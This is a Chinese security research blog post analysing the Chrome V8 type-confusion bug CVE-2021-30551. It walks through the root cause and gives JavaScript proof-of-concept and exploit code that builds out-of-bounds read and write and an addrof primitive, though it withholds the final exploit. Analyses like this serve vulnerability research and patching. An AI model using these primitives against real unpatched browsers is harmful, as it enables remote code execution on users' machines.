Chrome 在野0day:CVE-2021-30551的分析与利用

admin 2021年7月26日09:06:12评论211 views字数 14583阅读48分36秒阅读模式

一、漏洞背景:


近日谷歌公开了四个在野0day,其中CVE-2021-30551是一个v8类型混淆的漏洞,对市面上一些内置浏览器均有影响,下面无恒实验室将根据p0公开的内容对漏洞的利用做一个简单的分享。


二、Root case


前面的一些内容p0的文章中(https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html)已经讲过了,这里简单提一下:


  • 漏洞的过程和之前沙箱漏洞中的一种模式思路类似(resolve重入用户js)可以类比去理解。

  • HTMLEmbedElement是少数具有属性拦截器的 DOM 类之一,每次用户尝试访问Embed的 JS 包装器的属性时将会运行特殊的方法,这个方法可以由用户自定义,也就相当于可以在v8执行过程中重入到用户js层--去执行用户定义的代码。

  • 当对一个对象的命名属性进行操作时,如果该对象没有该属性时,将会去调用SetPropertyInternal函数遍历该对象的原型链


C++
Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,                                        Handle<Object> value,                                        Maybe<ShouldThrow> should_throw,                                        StoreOrigin store_origin, bool* found) {[...]  do {    switch (it->state()) {[...]      case LookupIterator::INTERCEPTOR: {        if (it->HolderIsReceiverOrHiddenPrototype()) {          Maybe<bool> result =              JSObject::SetPropertyWithInterceptor(it, should_throw, value);          if (result.IsNothing() || result.FromJust()) return result;        } else {          Maybe<PropertyAttributes> maybe_attributes =              JSObject::GetPropertyAttributesWithInterceptor(it);          if (maybe_attributes.IsNothing()) return Nothing<bool>();          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {            return WriteToReadOnlyProperty(it, value, should_throw);          }          if (maybe_attributes.FromJust() == ABSENT) break;          *found = false;          return Nothing<bool>();        }        break;      }[...]  *found = false;  return Nothing<bool>();}


  • 如果在原型链中遍历到INTERCEPTOR(拦截器),将会去执行拦截器以确定是否应该抛出“只读属性”异常,此时将会调用用户定义好的js代码,接下来SetPropertyInternal将会报告该属性不存在,接着交由SetProperty去调用AddDataProperty来创建属性。


C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,                                StoreOrigin store_origin,                                Maybe<ShouldThrow> should_throw) {  if (it->IsFound()) {    bool found = true;    Maybe<bool> result =        SetPropertyInternal(it, value, should_throw, store_origin, &found);    if (found) return result;  }  [...]  return AddDataProperty(it, value, NONE, should_throw, store_origin);}


先大致描述一下漏洞的产生:

  • 当用户访问一个object的命名属性时,如果该obj没有该属性,就会进入上面的遍历原型链的过程,此时如果在拦截器中创建该属性,之后在SetPropertyInternal遍历结束后去创建属性时就会创建一个同名的第二个属性,如果此时的map为deprecated状态,此时将只会更新属性的值而不会去修改map中的描述符(map中保存了一个描述符数组,里面储存了命名属性的相关信息)。从而导致类型混淆。


在根据poc来分析之前先做个小实验:


JavaScript
global_object = {};const array = [1.1, 2.2, 3.3];const object_1 = {    __proto__: global_object};object_1.regular_prop = 1;  //------------------------------->map1
%DebugPrint(object_1);%DebugPrint(object_1.regular_prop);%SystemBreak();
Object.setPrototypeOf(global_object, null);object_1.corrupted_prop = array; //--------------------------->map2(map1 is deprecated)
%DebugPrint(object_1);%SystemBreak();
const object_2 = { __proto__: global_object};object_2.regular_prop = 1; //---------------------------------->map1
%DebugPrint(object_2);%SystemBreak();
Object.setPrototypeOf(global_object, null);object_2.corrupted_prop = array;//------------------------------>map2
%DebugPrint(object_2);%SystemBreak();
object_1.regular_prop = 1.1;//----------------------------------->map3(map2 is deprecated)
%DebugPrint(object_1);%DebugPrint(object_2);


根据debug信息可以得到注释中的结论,之后根据该代码去实现在拦截器中将object的map设置为deprecated。


2.1 poc


JavaScript
global_object = {}; setPropertyViaEmbed = (object, value, handler) => {  const embed = document.createElement('embed');  embed.onload = handler;//遍历到拦截器后调用的js代码  embed.type = 'text/html';  Object.setPrototypeOf(global_object, embed); //将embed(拦截器)设置到原型链中   document.body.appendChild(embed);  object.corrupted_prop = value;//通过访问obj中不存在的命名属性触发SetPropertyInternal  embed.remove();}
createCorruptedPair = (value_1, value_2) => {//object1主要用于将object2的map设置为deprecated const object_1 = { __proto__: global_object }; object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => { Object.setPrototypeOf(global_object, null); object_1.corrupted_prop = value_1; });
const object_2 = { __proto__: global_object }; object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => { Object.setPrototypeOf(global_object, null); object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。 object_1.regular_prop = 1.1//设置map为deprecated }); return [object_1, object_2];}


主要的地方已经以注释的形式写在了poc中,下面是实现混淆的代码:


JavaScript
const array = [1.1];array.prop = 1;const [object_1, object_2] = createCorruptedPair(array, target); //root case
jit = (object) => { return object.corrupted_prop[0];}for (var i = 0; i < 100000; ++i) jit(object_1);var leak = jit(object_2);
console.log('0x' + hex(d2u(leak)[0]));


漏洞主要发生在注释的地方,这里对poc做一个拆解便于理解:


JavaScript
object.setPrototypeOf(global_object, embed);document.body.appendChild(embed);object.corrupted_prop = value;  <-----调用Object::SetPropertyInternal开始遍历


由于已经设置了global_object为embed,遍历的过程中将会执行:


C++
        {          Maybe<PropertyAttributes> maybe_attributes =              JSObject::GetPropertyAttributesWithInterceptor(it);          if (maybe_attributes.IsNothing()) return Nothing<bool>();          if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {            return WriteToReadOnlyProperty(it, value, should_throw);          }          if (maybe_attributes.FromJust() == ABSENT) break;          *found = false;          return Nothing<bool>();        }//他为了判断是否需要抛出只读异常(WriteToReadOnlyProperty(it, value, should_throw);)将会去执行已经定义的拦截器代码


拦截器函数:


JavaScript
() => {    Object.setPrototypeOf(global_object, null);    object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。    object_1.regular_prop = 1.1//设置map为deprecated  }


在执行完上面的代码后,Object::SetPropertyInternal是不会根据已设定的拦截函数去判断是否创建该属性的,他只会返回一个falsefound


C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,                                StoreOrigin store_origin,                                Maybe<ShouldThrow> should_throw) {  if (it->IsFound()) {    bool found = true;    Maybe<bool> result =        SetPropertyInternal(it, value, should_throw, store_origin, &found);    if (found) return result;  }  [...]  return AddDataProperty(it, value, NONE, should_throw, store_origin);}


于是这里会接着调用Object::SetProperty去第二次创建该属性。

接下来通过比较object1和object2的创建过程,来体会一下deprecated的作用,这里简单调试一下:


object_1:


object:

Chrome 在野0day:CVE-2021-30551的分析与利用


map:

Chrome 在野0day:CVE-2021-30551的分析与利用


descriptorarray:

Chrome 在野0day:CVE-2021-30551的分析与利用


这里简单对他的结构做了一个标注,可以看到在descriptorarray是存在两个相同key(同名)的属性的,分别对应了field 1 和 field 2,这个对照第一个图也可以看到在in-object property中储存了value1(0x083305a9)和value2(0x08330649),相当于object_1具有了两个同名属性。


接下来是object_2:

Chrome 在野0day:CVE-2021-30551的分析与利用

Chrome 在野0day:CVE-2021-30551的分析与利用


可以看到它的map和obejct_1相同,但是不同于object_1,由于deprecated操作object_2并没有创建出两个同名属性,SetProperty只是将它的corrupted_prop属性由value1(0x083305a9)修改为了value2(0x08330649),由于此时的descriptorarray仍是之前的描述符,这就导致%DebugPrint(object_2.corrupted_prop);会错误的将field 2的值作为属性输出就会得到下面的结果:


Chrome 在野0day:CVE-2021-30551的分析与利用


最重要的是field 1处的值已经由value1修改为了value2,但是描述符并没有发生改变,这也是这个漏洞最关键的地方。


三、利用部分


利用开始前的题外话:

  • 因为这个漏洞他需要使用到html的对象embed,所以是不能直接在d8上调试的,我的方法是在chrome上调试的同时拉一个debug版的d8来方便去查看内存布局,这样对照起来会方便一些。

  • 可以使用下面的命令:


Shell
file ./chrome
set args --headless --disable-gpu --user-data-dir=./userdata --remote-debugging-port=1338 --no-sandbox --js-flags="--allow-natives-syntax --trace-turbo" http://127.0.0.1:8000/poc.html
set follow-fork-mode parent


之后在attach到render进程就可以调试v8了。


3.1 越界读


接下来的重点就是如何使用描述符来消除掉checkmaps,最终实现类型混淆:

在load-elimination阶段将会进行冗余消除,v8将会去消除一些多余的检查:


C++
Reduction LoadElimination::ReduceCheckMaps(Node* node) {  ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();  Node* const object = NodeProperties::GetValueInput(node, 0);  Node* const effect = NodeProperties::GetEffectInput(node);  AbstractState const* state = node_states_.Get(effect);  if (state == nullptr) return NoChange();  ZoneHandleSet<Map> object_maps;  if (state->LookupMaps(object, &object_maps)) {    if (maps.contains(object_maps)) return Replace(effect);    // TODO(turbofan): Compute the intersection.  }  state = state->SetMaps(object, maps, zone());  return UpdateState(node, state);}


Chrome 在野0day:CVE-2021-30551的分析与利用

Chrome 在野0day:CVE-2021-30551的分析与利用

可以看到由于上面提到的错误的映射,maps.contains(object_maps)将会返回true从而将checkmaps消除掉,这样就可以实现越界读了。


这里有需要注意的地方:


混淆的对象不能随意选择,比如const [object_1, object_2] = createCorruptedPair(array, 111.223);此时他会将111.223当作数组去使用:


Chrome 在野0day:CVE-2021-30551的分析与利用

Chrome 在野0day:CVE-2021-30551的分析与利用


可以看到它会根据偏移去取elements中的内容,对于111.223来说他的对应偏移处的值为0x3ff19999(由于指针压缩,这里会将0x3ff19999+$r13的值作为elements指针进行访问,可以看到此时触发了0地址解引用)。


如果修改为:


JavaScript
const buf12 = new ArrayBuffer(8);const flo = new Float64Array(buf12);const [object_1, object_2] = createCorruptedPair(array, flo);
jit = (object) => { return object.corrupted_prop[2];}
for (var i = 0; i < 100000; ++i) jit(object_1);var leak = jit(object_2);
console.log('0x' + hex(d2u(leak)[1]));


此时就会根据Float64Array的elements来进行越界读,下面是一个简单的例子:


Chrome 在野0day:CVE-2021-30551的分析与利用


3.2 越界写


初尝试:

  • 首先要实现越界写最关键的还是要将chemaps检查消除,这里我找到了一种办法:

JavaScript
const array = [1.1,2.2,3.3];array.prop = 1;
const num = 1.1;num.prop = 1;
jit = (object) => { object.corrupted_prop[2] = num; return object.corrupted_prop[2];}


Chrome 在野0day:CVE-2021-30551的分析与利用


就是给array设置一个属性,之后在创建一个具有相同属性的num,这样进行写入时就会消除掉checkmaps。


这里有几个点要注意:

  • 直接赋值object.corrupted_prop[2] = 1.1;是不会消除checkmaps的。

  • 越界写的长度是array的长度,但写的基地址为Float64Array的elemets,算是一个比较特殊的越界写!!!很重要 !!!

  • 最后就是越界写的过程中,是将数组中的每一个值都当作object来写的


Chrome 在野0day:CVE-2021-30551的分析与利用

Chrome 在野0day:CVE-2021-30551的分析与利用


这里就会有一个问题,elements里面存放的值都是指针压缩后的地址,当作object去写入的话肯定是不行的,看rdi的值也可以发现,他直接取了0xf500000000080425为地址。


而且就算是在32位没有指针压缩的情况下进行越界写,它还是会取8字节的值作为object来进行写入:


Chrome 在野0day:CVE-2021-30551的分析与利用


如图所示,所以就需要找一种越界时可以直接写double的方法,这里我尝试了几乎所有的object后找到了一个可以使用的目标BigUint64Array。


3.3 Why BigUint64Array?


这里选择它的理由主要有以下几点:

  • 它可以直接写入double,而不会像其他object混淆后当作object去写入

  • BigUint64Array的elements非常特殊,它分配的地址可以和array相邻(可以调试一些其他的typearray,很明显可以发现他们的elements分配的区域和array是相距很远的而且偏移不固定)


Chrome 在野0day:CVE-2021-30551的分析与利用


图中圈红的位置为elements,可以看到BigUint64array的elements可以和array相邻,对于这个漏洞来说就十分方便了。


3.4 最终的越界写思路:


最后需要修改array的length,但目前写入都是以double的形式进行的,所以需要先泄漏出length旁边的elements的地址,之后再进行拼接写入,避免破坏正常的object结构,修改elements的length也是同理:


JavaScript
global_object = {};  setPropertyViaEmbed = (object, value, handler) => {  const embed = document.createElement('embed');  embed.onload = handler;  embed.type = 'text/html';  Object.setPrototypeOf(global_object, embed);  document.body.appendChild(embed);  object.corrupted_prop = value;  embed.remove();}
createCorruptedPair = (value_1, value_2) => { const object_1 = { __proto__: global_object }; object_1.regular_prop = 1;
setPropertyViaEmbed(object_1, value_2, () => { Object.setPrototypeOf(global_object, null); object_1.corrupted_prop = value_1; });
const object_2 = { __proto__: global_object }; object_2.regular_prop = 1;
setPropertyViaEmbed(object_2, value_2, () => { Object.setPrototypeOf(global_object, null); object_2.corrupted_prop = value_1; object_1.regular_prop = 1.1 }); return [object_1, object_2];}

const array = [5.5,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1]; array.prop = 1;

const test = new BigUint64Array(2);var oob_array = [1.1,2.2,3.3];
obj_array = { m: 1337, target: gc };ab = new ArrayBuffer(0x1337);
const [object_1, object_2] = createCorruptedPair(array, test);
jit = (object,index) => { return [object.corrupted_prop[index],object.corrupted_prop[index-5]];}
%PrepareFunctionForOptimization(jit)jit(object_1,0);%OptimizeFunctionOnNextCall(jit);
var leak = jit(object_2,0xd);
elem = d2u(leak[0])[0];elem2 = d2u(leak[1])[0];const num = u2d(elem,0x4242);num.prop = 1;const num2 = u2d(elem2,0x4242);num2.prop = 1;


num对应oob_array的length,num2对应elements的length,之后只需要将他们越界写入oob_array即可。


JavaScript
proto2 = {};  setPropertyViaEmbed2 = (object, value, handler) => {  const embed = document.createElement('embed');  embed.onload = handler;  embed.type = 'text/html';  Object.setPrototypeOf(proto2, embed);  document.body.appendChild(embed);  object.corrupted2 = value;  embed.remove();}
createCorruptedPair2 = (value_1, value_2) => { const object_3 = { __proto__: proto2 }; object_3.regular2 = 1;
setPropertyViaEmbed2(object_3, value_2, () => { Object.setPrototypeOf(proto2, null); object_3.corrupted2 = value_1; });
const object_4 = { __proto__: proto2 }; object_4.regular2 = 1;
setPropertyViaEmbed2(object_4, value_2, () => { Object.setPrototypeOf(proto2, null); object_4.corrupted2 = value_1; object_3.regular2 = 1.1 }); return [object_3, object_4];}
const [object_3, object_4] = createCorruptedPair2(array, test);//%DebugPrint(object_4.corrupted2);
jit22 = (object,index) => { object.corrupted2[index] = num; //length object.corrupted2[index-5] = num2; //elements的length return object.corrupted2[index];}
%PrepareFunctionForOptimization(jit22)jit22(object_3,0);%OptimizeFunctionOnNextCall(jit22);
//%DebugPrint(test);var leak2 = jit22(object_4,0xd);//%DebugPrint(leak2);


  • array的长度决定越界的范围,忘记的同学可以再回头看一下。

  • 不能只修改oob_array的length,还需要将elements中的length一并修改。


接下来只要提前构造好下面的结构:


JavaScript
const test = new BigUint64Array(2);var oob_array = [1.1,2.2,3.3];
obj_array = { m: 1337, target: gc };ab = new ArrayBuffer(0x1337);


利用test去越界修改oob_array的length和elements的length,这样就可以使用oob_array去进行漏洞利用了。


如果是32位的利用的话涉及到一个高低位的问题,这里需要注意一下:


简单举一个例子:


JavaScript
var object_idx = undefined;var object_idx_flag = undefined;for (let i = 0; i < max_size; i++) {    if (d2u(oob_array[i])[0] == 0xa72) {           print("m: i: " + i + " lo 0");           print("target: i: " + i + " hi 1");           object_idx = i;           object_idx_flag = 1;           break;     }     if (d2u(oob_array[i])[1] == 0xa72) {            print("m: i: " + i + " hi 1");            print("target: i: " + (i + 1) + " lo 0");            object_idx = i + 1;            object_idx_flag = 0;            break;      }}
function addrof(obj_para) { obj_array.target = obj_para; return d2u(oob_array[object_idx])[object_idx_flag] - 1;}


最后由于一些众所周知的原因,详细的exp就没办法在这里放出了,相信看到这里熟悉v8利用的小伙伴们就已经知道后面该怎么做了,有了越界读写之后就是一些常规的做法了。


最终放一个效果图:


Chrome 在野0day:CVE-2021-30551的分析与利用



四、结束语


  • 该漏洞可以广泛运用于对市面上一些的chromium内置浏览器的攻击,rce成功之后将会对用户产生巨大的影响,无恒实验室在得知漏洞之后迅速对相关应用进行更新升级,同时也第一时间对漏洞利用进行分析,是业内第一个提供exp分析的实验室,保障了用户权益。

  • 无恒实验室致力于为字节跳动旗下产品与业务保驾护航,亦极为重视第三方应用对业务安全的影响,在检测公司引入的第三方应用安全性的同时,无恒实验室也着力于构建第三方应用中的漏洞缓解机制,并将持续与业界共享研究成果,协助企业业务避免遭受安全风险,亦望能与业内同行共同合作,为网络安全行业的发展做出贡献。


参考链接:

https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html


本文始发于微信公众号(字节跳动安全中心):Chrome 在野0day:CVE-2021-30551的分析与利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月26日09:06:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Chrome 在野0day:CVE-2021-30551的分析与利用https://cn-sec.com/archives/436304.html

发表评论

匿名网友 填写信息